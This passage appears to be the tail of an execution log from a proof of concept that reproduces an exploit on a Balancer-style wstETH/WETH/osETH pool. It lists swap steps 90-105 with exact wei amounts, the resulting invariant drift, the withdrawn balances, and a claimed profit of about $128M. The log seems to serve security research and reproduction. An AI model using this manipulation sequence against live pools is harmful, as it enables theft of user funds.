│ │ ├─ Step 90: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 91: Swap wstETH → WETH (220000000000 wei)
│ │ ├─ Step 92: Swap WETH → wstETH (671 wei)
│ │ ├─ Step 93: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 94: Swap wstETH → WETH (160000000000 wei)
│ │ ├─ Step 95: Swap WETH → wstETH (7038 wei)
│ │ ├─ Step 96: Swap WETH → wstETH (4 wei)
│ │ ├─ Step 97: Swap wstETH → WETH (110000000000 wei)
│ │ ├─ Step 98: Swap wstETH → BPT_wstETH (10000 wei)
│ │ ├─ Step 99: Swap WETH → BPT_wstETH (10000000 wei)
│ │ ├─ Step 100: Swap wstETH → BPT_wstETH (10000000000 wei)
│ │ ├─ Step 101: Swap WETH → BPT_wstETH (10000000000000 wei)
│ │ ├─ Step 102: Swap wstETH → BPT_wstETH (10000000000000000 wei)
│ │ ├─ Step 103: Swap WETH → BPT_wstETH (10000000000000000000 wei)
│ │ ├─ Step 104: Swap wstETH → BPT_wstETH (3418009626758926269710 wei)
│ │ ├─ Step 105: Swap WETH → BPT_wstETH (3418009626758926269710 wei)
│ └─┬─ Net Cumulative Deltas:
│ ├─ wstETH Δ: -4259.843451780587743322
│ ├─ BPT_wstETH Δ: -20.413668455251157822
│ └─ WETH Δ: -1963.838806164214870519
├─ Post-Phase2 wstETH/WETH Pool Pool State
│ ├─ Balance Sum: 2596148429267829617925259226519326
│ ├─ Scaled Sum: 2596148429267832016675950728945056
│ └─ Invariant (D): 2609129171414157713456361360838210
│ ⚠️ Pool 1 Invariant Drift:
│ └─ Decreased by: 1994.173736992563358483
├─ Phase 3: Withdraw Internal Balances
│ ├─ Internal Balances (Vault):
│ │ ├─ WETH: 6587.441224947191180537
│ │ ├─ osETH: 6851.122955620687948760
│ │ ├─ wstETH: 4259.843451780587743322
│ │ ├─ BPT_osETH: 44.154666473995199738
│ │ └─ BPT_wstETH: 20.413668455251157822
└─┐ Post-Exploit Balances (profit):
├─ WETH Δ: 6587.441224947191180537
├─ osETH Δ: 6851.122955620687948760
├─ wstETH Δ: 4259.843451780587743322
├─ BPT_osETH Δ: 44.154666473995199738
└─ BPT_wstETH Δ: 20.413668455251157822
✅ Exploit successfully reproduced (~$128M profit)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment